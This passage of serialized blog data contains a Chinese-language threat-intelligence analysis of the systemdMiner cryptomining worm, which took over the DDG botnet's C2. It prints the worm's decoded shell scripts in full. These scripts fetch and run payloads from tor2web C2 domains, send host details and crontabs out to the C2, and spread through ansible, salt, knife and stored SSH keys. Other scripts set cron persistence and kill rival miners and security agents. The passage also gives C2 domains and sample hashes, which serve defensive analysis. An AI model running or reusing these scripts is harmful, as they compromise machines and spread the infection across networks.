$1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n}\n\ns1() {\n    x=/slave\n    y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))\n    wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x\n}\n\ns2() {\n    x=/systemd-resolve\n    y=/tmp/systemd-resolve\n    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n    chmod +x $y;$y\n}\n\ns3() {\n    if [ -x $(command -v ansible) ]; then\n        ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n    fi\n    if [ -x $(command -v salt) ]; then\n        salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n    fi\n    if [ -x $(command -v knife) ]; then\n        knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n    fi\n    if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then\n        hosts=$(grep -oE \"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b\" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)\n        for h in $hosts;do xssh root $h; xssh $USER $h & done\n    fi\n}\n\ns1 rapid7cpfqnwxodo.tor2web.fyi\ns2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net\ns3\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nc() {\n    x=/systemd-login\n    y=/tmp/.systemd-login\n    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n    chmod +x $y;$y\n    sleep 4\n}\n\nif ! ps -p $(cat /tmp/.X1M-unix); then\n    c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net\nfi"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nc() {\n    if [ -x $(command -v crontab) ]; then\n        if [ $(crontab -l |grep REDIS00) ]; then\n            crontab -r\n        fi\n        if ((!EUID)); then\n            if [ ! -f \"/etc/cron.d/systemd\" ]; then\n                echo \"0 * * * * root /lib/systemd/systemd-login\" > /etc/cron.d/systemd\n            fi\n            if [ ! $(crontab -l |grep systemd-login) ]; then\n                (echo \"0 * * * * ~/.systemd-login\";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -\n            fi\n        else\n            if [ ! $(crontab -l |grep systemd-login) ]; then\n                (echo \"0 * * * * ~/.systemd-login\";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -\n            fi\n        fi\n    fi\n}\n\nc\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\npkill -9 -f \"8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0\"\n\nfind ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg\nfind /etc/cron*|xargs chattr -i\nfind /var/spool/cron*|xargs chattr -i\ngrep -RE \"(wget|curl)\" /etc/cron.*|cut -f 1 -d :|xargs rm -f\ngrep -RE \"(wget|curl)\" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\\|curl/d'\nrm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n    x=/systemd-analyze\n    y=/tmp/.systemd-analyze\n    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n    chmod +x $y;$y\n    sleep 6\n}\n\nif ! ps -p $(cat /tmp/.X11-lock); then\n    d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net\nfi\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n    x=/systemd-login\n    y=/tmp/.systemd-login\n    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n    chmod +x $y;$y\n    sleep 5\n}\n\nu() {\n    x=/systemd.sh\n    (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash\n}\n\n\nif [ -f /tmp/.systemd-update ]; then\n    kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update\n    d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi\nfi\n\nu rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/scan_yarn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/04/scan_yarn_pcap.png","alt":"","title":"scan_yarn_pcap"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/yarn_exp.png","alt":"","title":"yarn_exp"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n    x=/systemd-login-h\n    y=/tmp/systemd\n    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n    chmod +x $y;$y\n}\n\nif ! ps -p $(< /tmp/.X1M-unix); then\n    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io\nfi\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\nd() {\n    x=/systemd-analyze\n    y=/tmp/.systemd-analyze\n    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n    chmod +x $y;$y\n    sleep 6\n}\n\nif ! ps -p $(cat /tmp/.X11-lock); then\n    d rapid7cpfqnwxodo.d2web.org\nfi\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/xmrig_str.png","alt":"","title":"xmrig_str"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/miner_conf.png","alt":"","title":"miner_conf"}],["code",{"code":"aptgetgxqs3secda.onion.ly\naptgetgxqs3secda.onion.pet\naptgetgxqs3secda.tor2web.fyi\naptgetgxqs3secda.onion.in.net\naptgetgxqs3secda.onion.mn\naptgetgxqs3secda.d2web.org\nrapid7cpfqnwxodo.tor2web.fyi\nrapid7cpfqnwxodo.onion.in.net\nrapid7cpfqnwxodo.onion.ly\nrapid7cpfqnwxodo.onion.pet\nrapid7cpfqnwxodo.onion.mn\nrapid7cpfqnwxodo.d2web.org\n"}],["code",{"code":"64315b604bd7a4b2886bba0e6e5176be\ndd8202ac5e6a2f6c8638116aa09694d7\n45e4d4671efcd1d9e502359c2fbbd6eb\naa83345c8cc3e7b41709f96bfb9844f8\n9f3edaa64e912661cd03f1aa9d342162\naa83345c8cc3e7b41709f96bfb9844f8\n4215f6306caa3b216295334538cad257\n50da2fb3920bfedfeb9e3a58ca008779\nceaee3da774cc712dc735d38194b396e\n8d9f26cd8358dce9f44ee7d30a96793f\n4bff1a92e6adcfe48c8b0f42b21a5af6"}]],"markups":[["strong"],["a",["href","__GHOST_URL__/fast-analyze-ddg-v3021-and-v3022/"]],["code"],["a",["href","https://www.musl-libc.org/"]]],"sections":[[1,"h2",[[0,[0],1,"1. 概述"]]],[1,"p",[[0,[],0,"在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 "],[0,[1],1,"威胁快讯"],[0,[],0," 一文中，我们提到了 DDG 最近在用的主 C2:"]]],[10,0],[1,"p",[[0,[],0,"2019.4.19 日凌晨，我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh，在 i.sh 脚本的最后新增了一段陌生的 Shell 代码，这段 Shell 代码会在失陷主机下载一套全新的恶意程序，之后就会脱离 DDG 的基础设施而独立运行、传播，在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后，DDG 的上述主 C2 随即下线停止服务。"]]],[1,"p",[[0,[],0,"鉴于这一套恶意程序的多个恶意组件均以 "],[0,[2],1,"systemd-<XXX>"],[0,[],0," 的形式命名，我们把它命名为 "],[0,[0],1,"systemdMiner"],[0,[],0," 。"],[0,[0],1,"systemdMiner"],[0,[],0," 的恶意程序具有蠕虫特性，会"],[0,[0],1,"利用 3 种手段传播自身"],[0,[],0,"，在入侵失陷主机后，最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。"]]],[1,"p",[[0,[],0,"在 DDG 上述主 C2 下线期间，DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制，DDG 整个僵尸网络还依然存活，每天活跃的 P2P Nodes 有 3000+。"]]],[1,"p",[[0,[],0,"直到 4.25 凌晨，DDG 才上线了 2 个新的 C2，并把版本号升级到 v4000，恢复如初。配置数据版本为 "],[0,[0],1,"CfgVer:25"],[0,[],0," 。DDG v4000 最新的配置数据中还会下发指令，篡改 hosts 文件，屏蔽 "],[0,[0],1,"systemdMiner "],[0,[],0,"的一组 C2 Domain。DDG v4000 的 2 个新 C2:"]]],[10,1],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同："]]],[3,"ul",[[[0,[],0,"DDG 的基础设施由 1 个主 C2 IP 和 2~3 个备用 C2 IP 构成，而 systemdMiner 的基础设施是架设在暗网并通过类似 "],[0,[0],1,"tor2web"],[0,[],0," 的服务映射到公网的一组 C2 Domain 以及矿池(Or Proxy) IP；"]],[[0,[],0,"DDG 当前的网络结构是一个非典型的 P2P 网络结构——一组 C2 IP 和典型 P2P 网络结构相结合，而 systemdMiner 的网络结构则是传统的 C/S 结构；"]],[[0,[],0,"DDG 的主样本由 Go 语言编写，从诞生至今始终如此，配合一个恶意 Shell 脚本 i.sh 来运行，而 systemdMiner 的主样本都是 C 语言编写，除此之外，二者的主样本在主要功能、实现方式等代码细节方面也完全不同；"]],[[0,[],0,"DDG 目前的二进制样本都加了标准 UPX 壳，而 systemdMiner 的二进制样本加的壳都是变形 UPX 壳，没有很直观的 UPX 特征；"]],[[0,[],0,"DDG 的传播方式主要是利用 SSH 弱口令和 Redis 未授权访问漏洞来传播，systemdMiner 则有 3 中完全不同的传播手段；"]],[[0,[],0,"DDG 的矿机程序由 XMRig 直接编译而来，没有加壳，XMR Wallet 就硬编码在矿机程序中，sysmtedMiner 的矿机程序对 XMRig 源码做了明显改动，加了变形 UPX 壳，还没有暴露 XMR Wallet。"]]]],[1,"p",[[0,[],0,"基于以上原因，我们认为是 "],[0,[0],1,"systemdMiner "],[0,[],0,"的团伙入侵了 DDG 的主 C2，并通过 DDG 的基础设施下发了自己的一套恶意程序，我们把这种黑吃黑的行为形容为"],[0,[0],1,"借鸡下蛋"],[0,[],0,"。"]]],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 的 3 种传播手段："]]],[3,"ol",[[[0,[],0,"利用 YARN 未授权访问漏洞入侵主机；"]],[[0,[],0,"利用 *nix 自动化运维工具(salt/ansible/chef-knife)横向传播；"]],[[0,[],0,"利用失陷主机本地保存的 SSH 密钥传播自身。"]]]],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 这一套恶意程序，涉及的多个二进制程序和 Shell 脚本，下文会一一剖析。各程序简介："]]],[3,"ul",[[[0,[0],1,"systemd-login-ddg"],[0,[],0,": 主样本，设置定时任务，横向传播以及 Download 其他样本并执行；"]],[[0,[0],1,"ddgs.i686"],[0,[],0,": 同上；"]],[[0,[0],1,"ddgs.x86_64"],[0,[],0,": 同上；"]],[[0,[0],1,"systemd-login"],[0,[],0,": 同上；"]],[[0,[0],1,"systemd-login-h"],[0,[],0,": 同上；"]],[[0,[0],1,"cron.sh"],[0,[],0,": 定时任务执行脚本，定期下载主样本并执行；"]],[[0,[0],1,"systemd.sh"],[0,[],0,": 更新主样本和矿机程序；"]],[[0,[0],1,"systemd-resolve"],[0,[],0,": 集成 YARN 未授权访问漏洞来横向传播；"]],[[0,[0],1,"systemd-analyze"],[0,[],0,": 矿机程序。"]]]],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 真正的 C2 服务器架设在暗网中，并通过一组类似 "],[0,[0],1,"tor2web"],[0,[],0," 的服务映射到公网，来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下："]]],[10,2],[1,"h2",[[0,[0],1,"2. DDG “下的蛋”——最后的配置数据和 Shell 脚本"]]],[1,"p",[[0,[],0,"DDG 最新的配置数据："]]],[10,3],[1,"p",[[0,[],0,"最后下发的 i.sh 脚本："]]],[10,4],[1,"p",[[0,[],0,"其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个，它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串，解码后是另外一段独立的 Shell 脚本："]]],[10,5],[1,"p",[[0,[],0,"这段 Shell 脚本，首先检查 "],[0,[2],1,"/tmp/.X1M-unix"],[0,[],0," 文件里的进程号对应的进程是否存活，文件不存在或者进程不存活则尝试通过以下 URL 下载 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 文件并执行："]]],[10,6],[1,"p",[[0,[],0,"除此之外， i.sh 脚本中，以前 DDG 样本的下载 URL "],[0,[2],1,"http://119.9.106.27:8000/static/3022/ddgs.$(uname -m)"],[0,[],0," 下到的文件也被替换成 "],[0,[0],1,"systemdMiner"],[0,[],0," 相关的恶意程序。"]]],[1,"p",[[0,[],0,"这样一来，就可以通过 DDG 的这一波更新，下发 3 个 "],[0,[0],1,"systemdMiner"],[0,[],0," 的恶意程序："]]],[3,"ol",[[[0,[],0,"systemd-login-ddg"]],[[0,[],0,"ddgs.i686"]],[[0,[],0,"ddgs.x86_64"]]]],[1,"h2",[[0,[0],1,"3. systemdMiner 系列样本分析"]]],[1,"h3",[[0,[0],1,"3.1 systemd-login-ddg"]]],[1,"p",[[0,[0],1,"systemd-login-ddg"],[0,[],0," 是 "],[0,[0],1,"systemdMiner"],[0,[],0," 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序，另外两个同时下发的 "],[0,[0],1,"ddgs.i686"],[0,[],0," 和 "],[0,[0],1,"ddsg.x86_64"],[0,[],0," 都是 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 的变种。顺着 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 的执行，后续还会涉及两个恶意程序，都是 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 的变种，区别在于部分 C2 Domain 设定不同，这些同类恶意程序有："]]],[3,"ul",[[[0,[],0,"systemd-login"]],[[0,[],0,"systemd-login-h"]]]],[1,"p",[[0,[0],1,"systemdMiner"],[0,[],0," 相关的所有二进制样本，都由 "],[0,[3],1,"musl-libc"],[0,[],0," 编译而成。并且都用变形的 UPX 加了壳，壳代码改动很多，变形 UPX 壳的 Magic Number 为 "],[0,[0],1,"0x7373622E"],[0,[],0,"(ASCII String: "],[0,[0,2],2,".bss"],[0,[],0," ) ："]]],[10,7],[1,"p",[[0,[],0,"脱壳后，恶意程序在刚开始就会检查 "],[0,[0],1,"LD_PRELOAD"],[0,[],0," 和 "],[0,[0],1,"PTRACE_TRACEME"],[0,[],0," ，用来对抗针对性地调试和沙箱："]]],[10,8],[1,"p",[[0,[],0,"然后，"],[0,[0],1,"systemd-login-ddg"],[0,[],0," 会删除自身文件，创建守护进程并把进程号写入 "],[0,[2],1,"/tmp/.X1M-unix"],[0,[],0," 文件，进程名为 "],[0,[0,2],2,"-bash"],[0,[],0,"："]]],[10,9],[1,"p",[[0,[],0,"接下来，"],[0,[0],1,"systemd-login-ddg"],[0,[],0," 会把下面的脚本保存到 "],[0,[2],1,"/tmp/systemd"],[0,[],0," 文件中："]]],[10,10],[1,"p",[[0,[],0,"上述脚本中的编码字串解码后如下："]]],[10,11],[1,"p",[[0,[],0,"如果当前用户是 "],[0,[0],1,"root"],[0,[],0," ，样本还会探测 "],[0,[2],1,"/lib/systemd/"],[0,[],0," 目录，并执行命令 "],[0,[2],1,"cp -f /tmp/systemd /lib/systemd/systemd-login"],[0,[],0,"，用于开机启动。"]]],[1,"p",[[0,[],0,"然后，执行命令 "],[0,[2],1,"mv -f /tmp/systemd ~/.systemd-login"],[0,[],0," 把 "],[0,[0],1,"systemd"],[0,[],0," 文件移动到用户主目录并隐藏。"]]],[1,"p",[[0,[],0,"上面用来开机启动执行的脚本文件 "],[0,[2],1,"/lib/systemd/systemd-login"],[0,[],0," ，会从 C2 服务器下载 "],[0,[0],1,"cron.sh"],[0,[],0," 文件并执行。"],[0,[0],1,"cron.sh"],[0,[],0," 是经过高度混淆的 Shell 脚本，原始内容如下："]]],[10,12],[1,"p",[[0,[],0,"解混淆后的真面目："]]],[10,13],[1,"p",[[0,[],0,"最后，"],[0,[0],1,"systemd-login-ddg"],[0,[],0," 会继续执行一系列经过 Base64 编码的 Shell 脚本。"]]],[1,"h4",[[0,[0],1,"3.1.1 Shell 脚本一：上报 C2，利用自动化运维工具传播"]]],[1,"p",[[0,[],0,"原始脚本经过 Base64 编码，解码后如下："]]],[10,14],[1,"p",[[0,[],0,"该脚本共有 3 个关键函数，作用分别是："]]],[3,"ol",[[[0,[0],1,"s1()"],[0,[],0," : 向 "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.fyi/slave"],[0,[],0," 上报失陷主机信息。把失陷主机的当前用户名、CPU 架构、主机名以及当前用户的 cron table 4 组信息，拼接接成一个字符串，经过 Base64 编码后，设置为 HTTP 请求的 "],[0,[0],1,"referer"],[0,[],0," vaule，以 HTTP GET 请求的方式发送到 C2；"]],[[0,[0],1,"s2()"],[0,[],0,": 从 C2 下载 "],[0,[0],1,"systemd-resolve"],[0,[],0," 文件并执行，"],[0,[0],1,"system-resolve"],[0,[],0," 集成了 YARN 未授权访问漏洞的 Exp，并以此传播；"]],[[0,[0],1,"s3()"],[0,[],0,": 利用 3 种 *nix 自动化运维工具 (ansible/salt/chef-knife) 和本机 SSH 密钥横向传播。横向传播用到的 Shell 脚本也经过了 Base64 编码，解码后如下："]]]],[10,15],[1,"h4",[[0,[0],1,"3.1.2 Shell 脚本二：设定 cron 任务"]]],[1,"p",[[0,[],0,"原始脚本同样经过 Base64 编码，解码后如下："]]],[10,16],[1,"p",[[0,[],0,"该脚本的主要功能，是新建 cron 配置文件 "],[0,[2],1,"/etc/cron.d/systemd"],[0,[],0,"，然后把 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 样本中落地的 "],[0,[2],1,"/lib/systemd/systemd-login"],[0,[],0," 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 "],[0,[0],1,"wget"],[0,[],0," 和 "],[0,[0],1,"curl"],[0,[],0," 命令，以此清除竞争对手的计划任务。"]]],[1,"h4",[[0,[0],1,"3.1.3 Shell 脚本三：杀掉竞争对手"]]],[1,"p",[[0,[],0,"原始脚本同样经过 Base64 编码，解码后如下："]]],[10,17],[1,"p",[[0,[],0,"该脚本的功能就是清除各种竞争对手。"]]],[1,"h4",[[0,[0],1,"3.1.4 Shell 脚本四：下载矿机并执行"]]],[1,"p",[[0,[],0,"原始脚本经过 Base64 编码，解码后如下："]]],[10,18],[1,"p",[[0,[],0,"此脚本会从 "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.fyi"],[0,[],0," 或 "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.fyi"],[0,[],0," 下载 "],[0,[0],1,"systemd-analyze"],[0,[],0," 文件并执行。"],[0,[0],1,"systemd-analyze"],[0,[],0," 正是基于 XMRig 改写的矿机程序。"]]],[1,"h4",[[0,[0],1,"3.1.5 Shell 脚本五：更新样本和恶意Shell脚本"]]],[1,"p",[[0,[],0,"原始脚本经过 Base64 编码，解码后如下："]]],[10,19],[1,"p",[[0,[0],1,"systemd-login-ddg"],[0,[],0," 会用此脚本检查样本更新标志文件 "],[0,[2],1,"/tmp/.systemd-update"],[0,[],0," ，据此来下载最新的 "],[0,[0],1,"systemd-login"],[0,[],0," 样本。随后会下载最新的恶意 Shell 脚本 "],[0,[0],1,"systemd.sh"],[0,[],0," 并执行。"]]],[1,"p",[[0,[],0,"接下来 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同，不同点在于下载 "],[0,[0],1,"systemd-login"],[0,[],0," 样本的 C2 Domain 多了一个 "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.io"],[0,[],0," 。"]]],[1,"h3",[[0,[0],1,"3.2. systemd-resolve"]]],[1,"p",[[0,[],0,"前文说过，"],[0,[0],1,"systemd-resolve"],[0,[],0," 集成了 YARN 未授权访问漏洞的 Exp，并以此入侵其他主机横向传播。"],[0,[0],1,"systemd-resolve"],[0,[],0," 的加壳、对抗分析特性都与 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 相同，不同的是把自身的守护进程命名为 "],[0,[0],1,"-rbash"],[0,[],0," 。"]]],[1,"p",[[0,[],0,"该样本主要用于内网传播，针对 "],[0,[2],1,"172.16.0.0/12"],[0,[],0," 、"],[0,[2],1,"192.168.0.0/16"],[0,[],0," 和 "],[0,[2],1,"10.0.0.0/8"],[0,[],0," 网段。样本会先检查当前主机的 LAN_IP，是否属于上述三个内网网段："]]],[10,20],[1,"p",[[0,[],0,"如果当前主机的 LAN_IP 属于上述三个网段，样本就会批量探测上述网段各主机的 "],[0,[0],1,"8088"],[0,[],0," 端口："]]],[10,21],[1,"p",[[0,[],0,"对于探测成功的目标主机，则利用以下 Payload 来传播自身："]]],[10,22],[1,"p",[[0,[],0,"Payload 中的 Shell 脚本同样经过 Base64 编码，解码后如下："]]],[10,23],[1,"p",[[0,[],0,"可以看到最终会在目标失陷主机中下载 "],[0,[0],1,"systemd-login-h"],[0,[],0," 并执行。这个 "],[0,[0],1,"systemd-login-h"],[0,[],0," 功能与上面分析过的 "],[0,[0],1,"systemd-login-ddg"],[0,[],0," 相同，此处不赘述。"]]],[1,"h3",[[0,[0],1,"3.3 systemd.sh"]]],[1,"p",[[0,[],0,"前文提到，"],[0,[0],1,"systemd-login-ddg"],[0,[],0," 在用来更新样本的第 5 个 Shell 脚本中，会下载 "],[0,[0],1,"systemd.sh"],[0,[],0," 并执行。在我们分析 "],[0,[0],1,"systemdMiner"],[0,[],0," 家族的早期，这个 "],[0,[0],1,"systemd.sh"],[0,[],0," 脚本没有实质性的内容："]]],[10,24],[1,"p",[[0,[],0,"大概在 2019.4.23 中午，背后的攻击者才把 "],[0,[0],1,"systemd.sh"],[0,[],0," 正式上线，最新的 "],[0,[0],1,"systemd.sh"],[0,[],0," 的内容："]]],[10,25],[1,"p",[[0,[],0,"可以看到其目的是下载 "],[0,[0],1,"systemd-analyze"],[0,[],0," 并执行。"]]],[1,"h3",[[0,[0],1,"3.4 systemd-analyze"]]],[1,"p",[[0,[],0,"前文提到， "],[0,[0],1,"systemdMiner"],[0,[],0," 目前的盈利手段是挖矿，而最终承担此任务的的矿机程序就是这个 "],[0,[0],1,"systemd-analyze"],[0,[],0," 。"]]],[1,"p",[[0,[],0,"此矿机程序也有与 "],[0,[0],1,"systemdMiner"],[0,[],0," 其他二进制程序相同的对抗分析的手段，不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串："]]],[10,26],[1,"p",[[0,[],0,"挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP，并非公共矿池，而且登录矿池所用的账号和密码均为 "],[0,[2],1,"\"x\""],[0,[],0,"，所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下："]]],[10,27],[1,"p",[[0,[],0,"经过排查，我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下："]]],[1,"p",[[0,[],0,"DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128一家俄罗斯冰淇淋公司ecosustain.infoA136.243.90.99European regional development Fund"],[1,[],0,0],[0,[],0,"资助的环保监测项目"]]],[1,"p",[[0,[],0,"上述两个都是正经网站的正经域名，所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。"]]],[1,"h2",[[0,[0],1,"4. 总结"]]],[1,"p",[[0,[],0,"综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析，在技术细节方面， "],[0,[0],1,"systemdMiner"],[0,[],0," 和 DDG 之间只发现一处相似点：DDG 的配置数据下发 URI 为 "],[0,[2],1,"/slave"],[0,[],0," ，"],[0,[0],1,"systemdMiner"],[0,[],0," 的 Report URI 也是 "],[0,[2],1,"/slave"],[0,[],0," ，但这远不足以说明这两个团伙之间有什么联系。更何况 "],[0,[0],1,"systemdMiner"],[0,[],0," 还把 DDG 当作竞争对手而清除，而 DDG 的配置数据中也通过 hosts 文件屏蔽了 